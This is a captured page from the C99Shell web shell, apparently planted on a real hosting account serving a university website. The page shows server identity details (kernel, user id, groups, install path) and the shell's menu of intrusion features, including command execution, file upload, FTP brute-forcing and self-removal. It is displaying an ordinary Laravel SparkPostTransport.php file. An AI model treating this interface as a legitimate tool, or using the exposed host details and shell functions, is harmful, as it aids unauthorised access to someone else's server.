!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Mail/Transport/   drwxr-xr-x
Free 117.29 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SparkPostTransport.php (2.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Mail\Transport;

use 
Swift_Mime_Message;
use 
GuzzleHttp\ClientInterface;

class 
SparkPostTransport extends Transport
{
    
/**
     * Guzzle client instance.
     *
     * @var \GuzzleHttp\ClientInterface
     */
    
protected $client;

    
/**
     * The SparkPost API key.
     *
     * @var string
     */
    
protected $key;

    
/**
     * Create a new SparkPost transport instance.
     *
     * @param  \GuzzleHttp\ClientInterface  $client
     * @param  string  $key
     * @return void
     */
    
public function __construct(ClientInterface $client$key)
    {
        
$this->client $client;
        
$this->key $key;
    }

    
/**
     * {@inheritdoc}
     */
    
public function send(Swift_Mime_Message $message, &$failedRecipients null)
    {
        
$this->beforeSendPerformed($message);

        
$recipients $this->getRecipients($message);

        
$message->setBcc([]);

        
$options = [
            
'headers' => [
                
'Authorization' => $this->key,
            ],
            
'json' => [
                
'recipients' => $recipients,
                
'content' => [
                    
'email_rfc822' => $message->toString(),
                ],
            ],
        ];

        return 
$this->client->post('https://api.sparkpost.com/api/v1/transmissions'$options);
    }

    
/**
     * Get all the addresses this message should be sent to.
     *
     * Note that SparkPost still respects CC, BCC headers in raw message itself.
     *
     * @param  \Swift_Mime_Message $message
     * @return array
     */
    
protected function getRecipients(Swift_Mime_Message $message)
    {
        
$to = [];

        if (
$message->getTo()) {
            
$to array_merge($toarray_keys($message->getTo()));
        }

        if (
$message->getCc()) {
            
$to array_merge($toarray_keys($message->getCc()));
        }

        if (
$message->getBcc()) {
            
$to array_merge($toarray_keys($message->getBcc()));
        }

        
$recipients array_map(function ($address) {
            return 
compact('address');
        }, 
$to);

        return 
$recipients;
    }

    
/**
     * Get the API key being used by the transport.
     *
     * @return string
     */
    
public function getKey()
    {
        return 
$this->key;
    }

    
/**
     * Set the API key being used by the transport.
     *
     * @param  string  $key
     * @return string
     */
    
public function setKey($key)
    {
        return 
$this->key $key;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0106 ]--